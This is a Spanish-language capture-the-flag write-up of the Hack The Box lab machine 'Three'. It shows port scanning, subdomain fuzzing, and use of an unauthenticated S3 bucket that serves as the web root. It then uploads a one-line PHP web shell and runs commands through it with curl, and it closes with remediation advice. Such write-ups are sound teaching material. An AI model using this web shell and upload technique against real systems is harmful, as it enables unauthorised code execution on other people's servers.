Skip to content

Three ​

SistemaLinux
DificultadMuy fácil
EstadoStarting Point
Puertos22, 80

La web oficial no tiene nada raro, pero buscando subdominios aparece s3, un almacenamiento tipo Amazon S3 que no pide credenciales. Ese bucket es la carpeta de la web, así que subo un archivo PHP y el servidor lo ejecuta.

  1. DescubrimientoSubdominio s3 con fuzzing
  2. FalloBucket S3 sin autenticación
  3. AccesoWeb shell PHP subida al bucket

Reconocimiento ​

bash
nmap -p- --min-rate 5000 -oN puertos.txt <IP>
nmap -sCV -p22,80 <IP>

Solo SSH (22) y una web (80). En la página de contacto aparece el dominio thetoppers.htb, que añado a /etc/hosts:

bash
echo "<IP> thetoppers.htb" | sudo tee -a /etc/hosts
whatweb http://thetoppers.htb

Buscar subdominios ​

Ni la web ni el código fuente muestran nada útil, así que busco subdominios (virtual hosts): el servidor responde distinto según el nombre que pida.

bash
gobuster vhost -u http://thetoppers.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain

--append-domain hace falta en gobuster 3.2 o superior para que pruebe palabra.thetoppers.htb. Sale s3.thetoppers.htb. Lo añado también a /etc/hosts. Por el nombre y por cómo responde, es un servicio compatible con Amazon S3.

El fallo: S3 sin autenticación ​

S3 guarda archivos en "buckets". Con la CLI de AWS se puede listar y subir archivos. Configuro credenciales cualquiera (el servidor no las comprueba) y apunto al endpoint de la máquina:

bash
aws configure            # valores inventados: el servidor no los valida
aws --endpoint=http://s3.thetoppers.htb s3 ls
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb

El primer comando devuelve un único bucket, thetoppers.htb. Dentro están index.php, .htaccess y la carpeta images/. El bucket es la raíz de la web.

Acceso: web shell ​

Si puedo escribir en la carpeta de la web y el servidor ejecuta PHP, puedo subir mi propio PHP:

bash
echo '<?php system($_GET["cmd"]); ?>' > shell.php
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb
curl "http://thetoppers.htb/shell.php?cmd=id"

El comando se ejecuta como el usuario del servidor web. A partir de aquí se puede lanzar una reverse shell o buscar la flag directamente.

Lo que me llevo ​

  • Cuando la web principal está limpia, toca buscar subdominios.
  • Un almacenamiento que sirve la web y además acepta escritura es ejecución de código directa.

Cómo se arregla ​

  • Exigir autenticación en el bucket y no permitir escritura pública.
  • Separar el almacenamiento de archivos de la carpeta que ejecuta código.
  • Si se suben archivos, guardarlos donde el servidor no ejecute PHP.

Técnica relacionada: Subida de archivos.

Contenido propio con fines educativos. Sin flags ni material de exámenes.